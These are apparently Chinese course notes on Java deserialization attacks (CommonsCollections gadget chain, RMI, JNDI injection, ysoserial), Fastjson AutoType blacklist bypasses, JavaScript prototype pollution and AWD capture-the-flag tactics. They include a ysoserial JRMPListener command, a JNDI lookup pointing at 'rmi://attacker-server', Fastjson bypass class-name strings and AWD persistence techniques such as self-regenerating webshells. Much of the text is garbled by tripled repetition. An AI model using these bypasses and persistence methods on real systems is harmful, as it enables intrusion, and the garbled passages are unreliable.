- 链式结构:ObjectInputStream.readObject()→AnnotationInvocationHandler.readObject()→Map.entrySet()→AnnotationInvocationHandler.invoke()→LazyMap.get()→ChainedTransformer.transform()→…→Runtime.exec()ObjectInputStream.readObject()→AnnotationInvocationHandler.readObject()→Map.entrySet()→AnnotationInvocationHandler.invoke()→LazyMap.get()→ChainedTransformer.transform()→…→Runtime.exec()ObjectInputStream.readObject()→AnnotationInvocationHandler.readObject()→Map.entrySet()→AnnotationInvocationHandler.invoke()→LazyMap.get()→ChainedTransformer.transform()→…→Runtime.exec()
- 反射调用核心:通过多个Transformer的transform方法串联,最终使用反射(Method.invoke()Method.invoke()Method.invoke())调用Runtime.getRuntime().exec()Runtime.getRuntime().exec()Runtime.getRuntime().exec()执行系统命令。
ConstantTransformer作用 16:05
- 反射起点:ConstantTransformer作为调用链起点,其transform方法直接返回构造函数传入的对象(return iConstant),为后续反射调用提供初始对象。
- 同级关系的完成 16:36
- 链式组装:通过ChainedTransformer的for循环依次调用多个Transformer的transform方法,形成”ConstantTransformer→InvokerTransformer→InvokerTransformer→InvokerTransformer”的级联调用。
transformer被调用的过程 17:47
- 危险函数定位:最终通过三个InvokerTransformer分别完成:
- Class.getMethod()Class.getMethod()Class.getMethod()获取Runtime类方法
- Method.invoke()Method.invoke()Method.invoke()调用getRuntime方法
- Method.invoke()Method.invoke()Method.invoke()执行exec命令
- 修复方案:Apache Commons Collections官方移除了InvokerTransformer类,直接切断该利用链的关键环节。
- 危险函数定位:最终通过三个InvokerTransformer分别完成:
一、Java协议中的反序列化漏洞 00:02
1. RMI简介 00:11

- 课程结构:本节分为两部分,第一部分介绍RMI基础通信细节,第二部分讲解RMI体系下的利用手法。
1)什么是Java RMI 00:30

- 概念本质:Remote Method Invocation是为Java环境设计的远程方法调用机制
- 实现区别:RMI是设计思想,Java RMI是该思想在Java中的具体实现
- 应用场景:当本地需要调用远程机器上的算法实现但无法/不便在本地搭建环境时使用,典型案例:本地数据交由远程机器处理并返回结果
2)JRMP 02:06
- 协议全称:Java Remote Message Protocol(Java远程消息交换协议)
- 层级关系:运行于Java RMI之下,是RMI协议的底层实现基础
3)RMI通信过程 02:36
- 核心角色:
- Client:发起RMI请求的终端(如需要处理数据的本机)
- Registry:存储远程对象信息的注册中心,提供地址映射服务
- Server:远程方法的实际实现方和执行方(数据处理的实际发生地)
4)RMI的安全问题 04:55

- 根本原因:传输过程基于反序列化实现
- 通信流程:
- Server注册远程对象名称到Registry
- Client通过名称查询远程对象
- Registry返回Stub给Client
- Client通过Stub发起远程方法调用
- Server处理调用并返回结果(图中未展示)
5)Stub对象 06:35

- 角色定位:远程对象的本地代理,由Registry提供给Client
- 核心功能:
- 与远程JVM建立连接
- 序列化(marshal)参数并传输
- 等待执行结果
- 反序列化(unmarshal)返回值/错误
- 返回结果给调用程序
- 技术本质:负责参数/返回值的序列化、网络通信等底层操作
6)Skeleton对象 08:57

- 存在形式:每个远程对象同时包含Skeleton,运行在Server端
- 工作流程:
- 反序列化Stub传来的参数
- 调用远程对象对应方法
- 序列化结果/错误返回给Stub
7)RMI中的基本操作 10:01
- 关键操作:lookup、bind、unbind、list、rebind
8)RMI Client代码分析 10:15

- 核心步骤:
- 获取Registry实例:LocateRegistry.getRegistry(“127.0.0.1”,8888)
- 查找远程对象:registry.lookup(“user”)
- 操作原理:lookup通过键名获取绑定的远程对象信息
9)RMI Server & Registry代码分析 11:41

- 接口规范:
- 必须继承java.rmi.Remote
- 方法需声明throws RemoteException
- 示例方法:getName(), getUser(), updateName()
- 实现要求:
- 继承UnicastRemoteObject
- 实现自定义接口(如User)
- 包含Stub/Skeleton生成能力
- 典型字段:name, age等业务属性
- 部署过程:
- 实例化远程对象:new LocalUser(“liming”,15)
- 创建Registry:LocateRegistry.createRegistry(8888)
- 绑定服务:registry.bind(“user”,liming)
- 架构说明:实际部署时Server和Registry可分离,示例为简化采用同机部署
2. RMI利用手法 15:24
1)针对注册中心利用方式 16:56
+
- 基本操作类型:包含bind、unbind、lookup、rebind和list五种核心操作
- bind/rebind漏洞原理:
- 接收两个参数:StringStringString类型键值和远程对象
- 远程对象反序列化时可能执行恶意代码
- 示例:将正常远程对象替换为恶意序列化对象
- unbind/lookup限制突破:
- 仅接收StringStringString类型单参数
- 原始实现会进行参数类型校验
- 绕过方法:伪造连接请求跳过校验层
- 修改RMI底层实现代码
- 删除StringStringString类型校验逻辑
2)针对服务端利用方式 19:26

- 必要前提:服务端远程方法参数为ObjectObjectObject类型
- 区别于基本数据类型(如StringStringString,intintint等)
- 示例:addUser(Object user)addUser(Object\ user)addUser(Object user)方法
- 攻击流程:
- 正常lookuplookuplookup获取服务引用
- 调用目标方法传入恶意序列化对象
- 服务端反序列化触发漏洞
- 关键特征:参数类型声明为ObjectObjectObject使得对象反序列化成为可能
3)针对客户端利用方式 21:13

- 服务端→客户端攻击:
- 伪造服务端返回恶意序列化结果
- 客户端反序列化响应时触发漏洞
- 注册中心→客户端攻击:
- 使用JRMPListenerJRMPListenerJRMPListener工具建立恶意服务
- 命令示例:java −cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 ′open /System/Calculator.app′java\ -cp\ ysoserial.jar\ ysoserial.exploit.JRMPListener\ 12345\ CommonsCollections5\ ‘open\ /System/Calculator.app’java −cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 ′open /System/Calculator.app′
- 构造JRMPClientJRMPClientJRMPClient序列化对象
- 指定连接至恶意服务地址
- 触发二次连接实现漏洞利用
- 使用JRMPListenerJRMPListenerJRMPListener工具建立恶意服务
- 协议关系:RMI基于JRMP协议实现,故JRMP层面的攻击同样有效

一、JNDI协议 00:23
1. 什么是JNDI 00:28

- 定义: Java Naming and Directory Interface,是Java的命名服务接口协议,允许客户端通过名称发现和查找指定数据。
- 命名服务: 将名称和对象进行关联,提供通过名称找到对象的操作,类似RMI中的注册中心机制。
- 名称(Name): 字符串形式的key,用于在命名系统中查找对象。
- 绑定(Binding): 名称和对象的关联关系,是逻辑概念而非具体对象。
- 引用(Reference): 命名服务系统可能不直接存储对象,而是保持对象引用(如远程机器地址)。
- 上下文(Context): 一系列名称和对象绑定的集合,功能类似RMI注册中心。
2. JNDI动态协议转换 05:06

- 核心特性: 根据传入URL协议自动转换对应Factory和Provider URL
- 自动识别机制:
- 识别协议头(如rmi://, ldap://, iiop://)
- 动态选择底层协议解析功能
- 两种配置方式:
- 直接通过URL协议头触发:ctx.lookup(“rmi://attacker-server/refobj”)
- 通过环境变量初始化后覆盖:初始化时设置RMI环境,但lookup时使用LDAP协议
- 安全风险: 协议头可控时可能被攻击者利用进行协议转换攻击
3. JNDI与RMI的配合使用 08:42

- 初始化配置:
- 操作一致性:
- 支持RMI的bind操作:ctx.bind(“refobj”, new RefObject())
- 支持RMI的lookup操作:ctx.lookup(“refobj”)
- 注意事项: Factory配置必须与协议类型严格匹配,否则会导致执行异常
4. Reference可以使用工厂来构造对象 11:00

- 工作流程:
- 创建Reference对象:new Reference(“MyClass”,”MyClass”,FactoryURL)
- 包装为ReferenceWrapper
- 通过bind操作绑定到命名服务
- 动态加载机制:
- lookup时会根据factoryURL下载指定class文件
- 在本地加载并实例化工厂类
- 工厂类构造最终需要的对象
- 关键区别: 与RMI不同,实际对象构造发生在客户端本地而非服务端
5. JNDI注入lookup地址可控时进行的利用方式 12:46

- 攻击准备:
- 创建恶意类:包含命令执行的构造函数
- 编译为class文件并托管在HTTP服务
- 注册中心绑定Reference指向恶意class
- 利用条件: 客户端存在可控的lookup参数
- 攻击流程:
- 触发方式: 客户端调用ctx.lookup(“rmi://attacker/aa”)
6. 为什么远端的函数在本地被执行了 16:09

- 核心机制:
- 实际绑定的是命名引用而非对象
- lookup时下载远程class到本地
- 在客户端本地完成加载和实例化
- 与RMI的本质区别:
- RMI: 服务端执行后返回结果
- JNDI+Reference: 客户端本地执行恶意代码
- 攻击链:
- 客户端发起lookup请求
- 获取Reference信息
- 根据factoryURL下载class
- 本地加载并执行构造函数
二、ysoserial使用方法 18:39
1. 什么是ysoserial 18:48

- 工具定位: Java反序列化漏洞的半自动化利用工具
- 主要功能:
- 生成特定payload
- 直接漏洞利用
- 运行Java协议监听服务
- 局限性: 只能完成漏洞利用链中的特定环节
2. Payload模块 19:45

- Payload类型:
- CommonsCollections1-4
- BeanShell1
- C3P0
- Jdk7u21等
- 生成原理: 根据组件依赖关系组装利用链
- 命名规则: 依赖包名称+编号(如commons collections1)
3. ysoserial生成payload方式 21:25

- 标准结构:
- getObject方法:组装恶意类
- main方法:运行生成流程
- 示例(URLDNS):
4. 如何使用ysoserial 21:59

- Payload模块用法:
- Exploit模块用法:
- JRMPListener示例:
一、Fastjson的反序列化漏洞 00:01
1. Fastjson反序列化原理介绍 00:23
1)什么是Fastjson 00:32
- 功能:Fastjson是一个Java库,用于解析和处理JSON格式数据,实现Java对象与JSON数据间的互相转换
- POJO对象处理:能够处理具有基本类型成员变量和对应get/set方法的Java对象(POJO对象),如Car类包含price/size等属性
- 转换本质:JSON与Java对象的转换过程就是序列化(对象→文本)和反序列化(文本→对象)
2)为什么Fastjson会有反序列化漏洞 02:36

- 根本原因:将JSON数据转换为Java对象时未对目标对象进行校验
- 攻击原理:攻击者可篡改反序列化生成的目标对象为恶意对象,控制危险操作
- fastjson的jndi注入payload示例 03:05

- payload结构:
- 关键字段:@type指定反序列化目标类,dataSourceName设置恶意LDAP/RMI地址
- AutoType机制 04:01
- 作用:解决接口/抽象类在序列化时子类型丢失问题
- 实现方式:通过@type字段显式指定反序列化类型
- 安全隐患:允许攻击者指定任意类进行反序列化
- 示例类讲解 05:10

- Store类:包含String name和Fruit fruit字段
- Fruit接口:被Apple类实现(含BigDecimal price)
- 序列化问题:当存储Apple实例时,序列化结果只保留Fruit类型信息,丢失具体Apple类型

- 无类型信息:{“fruit”:{“price”:0.5},”name”:”Hollis”}
- 带类型信息:使用SerializerFeature.WriteClassName后包含完整类型信息
3)fastjson中对于json数据的核心处理流程位置 08:53

- 核心类:DefaultJSONParser#parse(Object fieldName)
- 处理逻辑:
- 识别标准key-value结构
- 遇到特殊标志位(如@type、$ref)进入特殊处理分支
- 嵌套结构递归处理
4)创建JavaBeanDeserializer 09:54

- 初始化过程:
- 扫描字段信息(如name/price等)
- 将字段转换为FieldDeserializer
- 最终调用deserialze方法完成反序列化
- 关键方法:通过反射调用setter方法设置字段值
2. Fastjson的反序列化基础利用 12:14
1)最初的payload示例

- 经典payload:
攻击链分析:
- 通过@type指定恶意类JdbcRowSetImpl
- setDataSourceName设置LDAP恶意地址
- setAutoCommit(true)触发connect()方法
- connect()内部调用InitialContext().lookup()实现JNDI注入- 关键调用链:
- setAutoCommit() → connect() → InitialContext().lookup()
- 通过可控的dataSourceName参数实现远程代码执行
一、阶层反序列化漏洞的第二个环节 00:00
1. 内容目录 00:05
- 课程结构:本节课程分为三个部分:FastJson无防护版本的反序列化漏洞利用、AutoType黑名单机制的初步对抗、以及FastJson通过class缓存机制的利用方式。
2. 无防护的最初利用 00:29
1)JdbcRowSetImpl类利用
+
- 漏洞背景:在FastJson 1.2.24版本中首次曝出JNDI注入漏洞,该版本没有任何防御措施。
- 利用方式:直接通过AutoType机制反序列化恶意类,示例payload:
- 利用原理:JNDI注入只是其中一种利用形式,具体攻击原理与上节课程内容相同。
2)利用TemplatesImpl类 01:16
+
- 基本原理:通过bytecode还原类文件并实例化,执行恶意代码。
- 实现步骤:
- 读取恶意class文件并进行base64编码
- 将编码后的内容插入到_bytecodes字段
- TemplatesImpl会解码并还原类到JVM中
关键要求:
- 类必须继承特定抽象类(如AbstractTranslet)
- 需要重写指定的transform方法
- 恶意代码通常放在构造函数或静态代码块中- 示例代码:展示了一个继承AbstractTranslet的恶意类TEMPOC,在其构造函数中执行系统命令Runtime.getRuntime().exec(“open -a Calculator”)
- 生成方式:使用javac TEMPOC.java命令生成class文件
- 最终payload结构:
- 执行流程:
- FastJson解析JSON时实例化TemplatesImpl
- 解码并加载_bytecodes中的恶意类
- 执行类的构造函数或静态代码块中的恶意代码
3. AutoType黑名单对抗 03:31
+
- 默认设置: FastJson从1.2.25版本开始默认关闭AutoType机制,开发者需手动开启
- 防御实现: 主要通过checkAutoType函数实现,包含四个检测模块
- 黑白名单机制:
- 白名单类直接通过验证并加载
- 黑名单类直接抛出JSONException异常
1)黑名单对抗简介 05:56
+
- 缓存检查:
- 首先从类缓存mapping中查找指定类信息
- 若找到且expectClass不匹配则抛出类型异常
加载条件:
- 必须开启AutoType支持或指定expectClass
- 通过TypeUtils.loadClass完成最终类加载- 1.2.25-1.2.41绕过:
- 方法: 在类名前加LLL、后加;;;
- 原理: loadClass会去除首尾特殊字符
- 示例:Lcom.sun.rowset.JdbcRowSetImpl;Lcom.sun.rowset.JdbcRowSetImpl;Lcom.sun.rowset.JdbcRowSetImpl;
- 1.2.42绕过:
- 方法: 使用双LLLLLL前缀
- 原理: checkAutoType只做单次截取
- 示例:LLcom.sun.rowset.JdbcRowSetImpl;;LLcom.sun.rowset.JdbcRowSetImpl;;LLcom.sun.rowset.JdbcRowSetImpl;;
- 1.2.43绕过:
- 方法: 使用数组格式[[[
- 原理: loadClass按数组格式解析
- 示例:[com.sun.rowset.JdbcRowSetImpl[com.sun.rowset.JdbcRowSetImpl[com.sun.rowset.JdbcRowSetImpl
4. Class缓存机制
1)Class缓存机制绕过示例 08:52
+
- 绕过原理:在FastJson 1.2.47版本中,首次出现不开启AutoType也能成功利用的反序列化漏洞。通过构造特殊JSON,先利用java.lang.Class加载目标类到缓存,后续直接调用时绕过黑白名单校验。
- POC结构:
- 关键步骤:
- 缓存注入:通过java.lang.Class将JdbcRowSetImpl类加载到TypeUtils.mappings缓存中
- 绕过校验:后续直接使用JdbcRowSetImpl时,由于已在缓存中,跳过AutoType检查
- 代码分析:
- TypeUtils.loadClass()会将类名和Class对象存入mappings
- getClassFromMapping()优先从缓存获取类对象,不进行黑白名单校验
2)另一种绕过手法
+
- 新型POC:
- 绕过机制:
- AutoCloseable特性:不在黑名单中,且被自动加载到mappings
- expectClassFlag机制:当expectClass为AutoCloseable时标志位为true,绕过autoTypeSupport检查
- 嵌套利用:通过多层@type构造完整利用链
- 代码关键点:
- checkAutoType()中expectClassFlag判断逻辑存在缺陷
- addBaseClassMappings()会将AutoCloseable加入缓存
- 通过isAssignableFrom()检查时,AutoCloseable不被识别为危险接口
一、原型链以及原型链污染 00:08
1. Javascript函数特点 00:33
+
- 函数本质:在JavaScript中,每个函数实际上都是一个Function对象,可通过(function(){}).constructor === Function验证
- 匿名函数:无函数名的函数定义方式,如function(){}可直接作为对象使用
1)Function作为类可以进行new操作 02:11
+
- 实例化过程:
- 创建来自A.prototype的新对象
- 调用构造函数并将this绑定到新对象
- 示例验证:
2)实例对象私有属性 05:13
+
- 原型继承:
- 自动传递:未显式赋值的prototype属性会自动传递给实例对象
2. 原型链 09:26
+
- 核心关系:
- demo.proto === test.prototype(返回true)
- prototype是类的属性,实例化时继承所有内容
- _proto_指向当前对象所在类的prototype
- 链式搜索:访问属性时沿原型链向上查找,直到找到或到达链末端
3. 修改proto影响对象取值 13:47
+
- 污染原理:
- 关键条件:对象必须来自同一个类(同一条原型链)
4. 原型链污染特点 16:07
+
- 常见场景:键值对赋值操作中_proto_作为有效键名
- 污染途径:通过修改原型对象影响所有同源实例
5. 应用案例 16:42
1)例题:原型链污染攻击示例
+
- 攻击过程:
- 污染效果:所有空对象实例都会继承被污染的属性
二、NodeJS中的原型链模板注入 19:27
1. 利用原型链模板注入 19:34
1)例题:lodash.template污染源URL实现RCE 19:37
+
- 攻击向量:
- 执行机制:污染sourceURL使其作为函数内容拼接执行
2)例题:lodash.merge原型链污染 21:36
+
- 漏洞场景:Express框架中处理POST请求时使用lodash.merge
- 攻击方式:通过构造恶意POST请求体污染原型链
- 防御要点:避免直接合并用户可控数据到对象原型
AWD比赛入门
九,AWD比赛
**1. AWD比赛简介与比赛形式 **00:23
**1)什么是AWD **00:26
+
- 全称解释: AWD是Attack With Defence的缩写,即”攻防兼备”的比赛模式
- 与传统CTF区别:
- 传统模式: 选手通过解出预置题目得分,解题速度决定排名,题目解答完成后即结束(人与机器的对抗)
- AWD模式: 需要防守自己的服务器并攻击他人服务器,同一漏洞可多轮次得分(人与机器+人与人的双重对抗)
- 服务类型:
- 二进制服务: 编译好的可执行文件,可能监听特定端口或使用自定义协议
- Web服务: 自研或修改的第三方应用,可能存在未知漏洞
- 得分机制: 通过获取服务器上的flag文件内容提交得分,flag会定期更新(通常5-30分钟一轮)
**2)AWD常见的比赛规则 **05:00
+
+
- 每个队伍获得相同数量和内容的服务(二进制+Web)
- 新增题目也会平均分配给所有队伍
- 漏洞特性:
- 每个服务至少存在一个漏洞(可能是已知或出题人自研漏洞)
- 需在保证服务功能正常的前提下修补漏洞
check机制:
- 有专门服务验证功能可用性
- 功能异常会被扣分(如注册/登录功能失效)- 得分方式:
- 基础得分: 提交其他队伍服务器的flag内容(需包含队伍token验证)
- 附加得分: 当自己服务正常而其他队伍相同服务异常时,可能获得扣分队伍的均分
- 扣分情形:
- flag被他人提交(每轮单独扣分)
- 服务不可用(可与flag扣分叠加)
- 多服务独立计分(每个服务都可能因不可用被扣分)
**3)AWD的初始资源 **12:28
+
- 基础访问信息:
- 服务器IP、用户名、密码/密钥
- 可能包含源码、二进制文件和流量包
- 服务定位规则:
- 同IP段部署(如10.10.1.2:8080中,1为队伍ID,2为服务编号)
- 端口映射可能通过路由器转换(实际访问IP可能与本地IP不同)
**2. AWD Plus简介 **15:48
**1)什么是AWD plus **15:54
+
- 模式特点:
- 弱化选手直接对抗,强化漏洞挖掘难度
- 分为Break(攻击)和Fix(修复)两个环节
- Break环节:
- 需要组合利用多个基础漏洞才能获取flag
- 靶机为独立环境,操作失误可申请重置(有次数限制)
- Fix环节:
- 提供修复方案(可能通过SSH直接修复或提交修复包)
- 需通过双重检查:功能可用性测试+漏洞修复验证
**一、AWD比赛中的对抗技巧 **00:00
**1. 内容目录 **00:04
+
- 课程结构****:分为赛前准备和赛中对抗两大模块,赛前准备包括脚本环境配置、工具准备和exploit框架搭建;赛中对抗包含防御和攻击两个方向
**2. 赛前准备 **00:13
**1)脚本环境 **01:04
+
- 环境隔离性****:AWD比赛通常不提供外网连接,所有运行环境需提前本地配置
- 多版本配置****:
- PHP需同时配置PHP5和PHP7大版本
- Java需预装JDK8和JDK11
- Python建议配置python2.7和python3.6
- 环境复原****:需根据获取的源码搭建完整环境,包括语言环境(如PHP)、中间件(如Apache)和数据库(如MySQL)
**2)工具 **04:06
**代码审计工具 **04:21
- IDE工具****:针对不同语言选择专用IDE(如IDEA用于Java,PHP Storm用于PHP)
- 后门分析****:使用D盾等工具快速扫描预置后门
- 二进制分析****:IDA Pro等工具用于逆向分析可执行文件
- **服务连接工具 **05:26
- SSH工具****:推荐XShell(Windows)和Termius(MacOS),避免使用命令行原生ssh
- FTP工具****:建议使用XFTP等专用工具,或选择集成FTP功能的SSH工具
**3)exploit及相关脚本框架 **07:06
+
- 脚本分类****:
- 漏洞批量利用脚本:需支持IP循环探测、漏洞利用细节和操作执行三个独立模块
- 权限维持脚本:防止防守方修复漏洞后失去持续利用能力
- 防御脚本:监控攻击流量和文件变动,用于漏洞回溯和快速定位
- 设计原则****:各功能模块保持低耦合,便于针对不同比赛需求修改特定部分
**3. 赛中对抗 **10:31
**1)备份 **10:52
+
- 备份内容****:
- 源代码和二进制文件:用于差异对比发现篡改
- 数据库:防止数据被恶意删除
- 日志:记录访问IP、时间和操作详情
- 备份价值****:保留原始信息作为基准,便于识别异常变动
**2)流量记录 **12:09
- 记录要素****:
- 完整的GET/POST数据
- 上传文件元数据和内容
- 访问路径和时间戳
- 系统文件变动历史
- 应用场景****:通过分析异常流量定位攻击入口和未发现漏洞
**3)后门查杀 **12:52
- 查杀重点****:
- Web脚本文件(PHP/JSP)
- crontab定时任务
- shell script文件
- 查杀策略****:注意文件间的关联性,防止攻击者通过闭环设计实现持久化
**4)攻击 **14:46
**漏洞挖掘 **14:55
- 日志分析****:结合大屏攻击记录回溯特定时间段的可疑流量
- 快速定位****:
- 版本识别和历史漏洞匹配
- 预置后门特征检测
- Check服务分析****:通过特殊IP的检查行为逆向服务验证机制
**漏洞利用 **17:08
- 权限维持技术****:
- 不死马:通过内存驻留抵抗文件删除
- 多文件组合:web shell、crontab和shell script相互再生
- 干扰策略****:
- 发送大量垃圾流量污染对手日志
- 使用RSA加密webshell防止复用
- 批量利用****:IP段循环探测结合自动化漏洞利用链
- 权限维持技术****:


